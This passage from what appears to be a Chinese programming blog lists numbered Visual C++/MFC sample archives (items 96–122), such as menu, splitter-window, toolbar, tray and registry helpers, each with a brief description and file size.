day。(26KB)96,PathPic.zip这个类库提供了选择目录的功能,比通用的CFileDialog好多了。(20KB)97,twopanes.zip你有没有想过把通用对话框作为你的窗口的一个View是什么样子的?看看这个例子吧。(9KB)98,bcmenu21.zip可以利用工具条资源,绘制图标菜单。(56KB)99,MENU4_MDI.ZIP可以利用工具条资源,自动绘制图标菜单,MDI版本。(62KB)100,MENU4_SDI.ZIP可以利用工具条资源,自动绘制图标菜单,SDI版本。(61KB)101,toolbar2.zip这个程序演示了如何利用工具栏的新特性,在工具栏中的某个按钮加入下拉式的列表。(28KB)102,avi_bar.zip可以在状态栏里加入一个AVI动画。(34KB)103,outlook.zip这个类库使你可以创建象OutLook那样的切分窗口。(59KB)104,cxysplit.zip这是一个可以在DialogBox中使用的切分类库。(21KB)105,AutoWnd.zip自动切分一个视图,并且高亮显示具有输入焦点的视图。(31KB)106,MyWnd.zip高亮显示具有输入焦点的视图。(2KB)107,bhagat.zip使用一个简单的函数调用就可以在切分视图中动态创建任何类型的新视图。(64KB)108,MSDNWnd.zip这是一个MSDN中的切分窗口的例子,虽不怎么样但已经完整展示了切分操作。对于初学者是一个很好的参考。(37KB)109,rulers.zip使用固定大小的切分窗口(上面、左边部分)在视图中加入标尺。(就象Photoshop中的标尺那样)酷极了。(5KB)110,VisualFx.zip使用固定大小的切分窗口(上面、左边部分)在视图中加入标尺。(就象Photoshop中的标尺那样)酷极了。(88KB)111,infobar.zip定制了一个与outlook,outlook express相同的信息条。(16KB)112,BCGB.zipBCGControlBar的AppWizard,编译运行之后你在new的时候就可以选择使用BCGControlBar界面风格了。你最好与BCGControlBar一起下载使用。(215KB)113,sizecbar.zip支持浮动窗体的类库,使用它你可以轻松的做出象Visual Studio那样的界面来。(65KB)114,Coolocx.zip所有你能想到的控件一个都不能少,全都是浮动的效果乃至连Windows通用对话框都浮动。(62KB)115,fullscreen.zip让你轻松实现全屏显示的代码,很简单轻易更可上手,告诉你,全屏时你还可以保留工具条。(22KB)116,sys_tray.zip完全封装windows任务栏,使用此类可以轻松操作任务栏图标及其菜单功能。(51KB)117,regester.zip封装有关注册表操作的函数,使你可以轻松添加、删除、修改主键或键值。(2KB)118,bmpdraw.zip可以用bmp文件构造该类,不须在设计时将bmp文件加入到资源中去。其它功能多多。(5KB)119,split.zip从中可以学习CFile类的使用方法。(39KB)120,strange.zip用VC++实现异形窗口(234KB)121,csh.zip在对话框中实现提示条风格的上下文敏感帮助(75KB)122,whfname.zip从窗口句柄中得到文件名(6KB)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值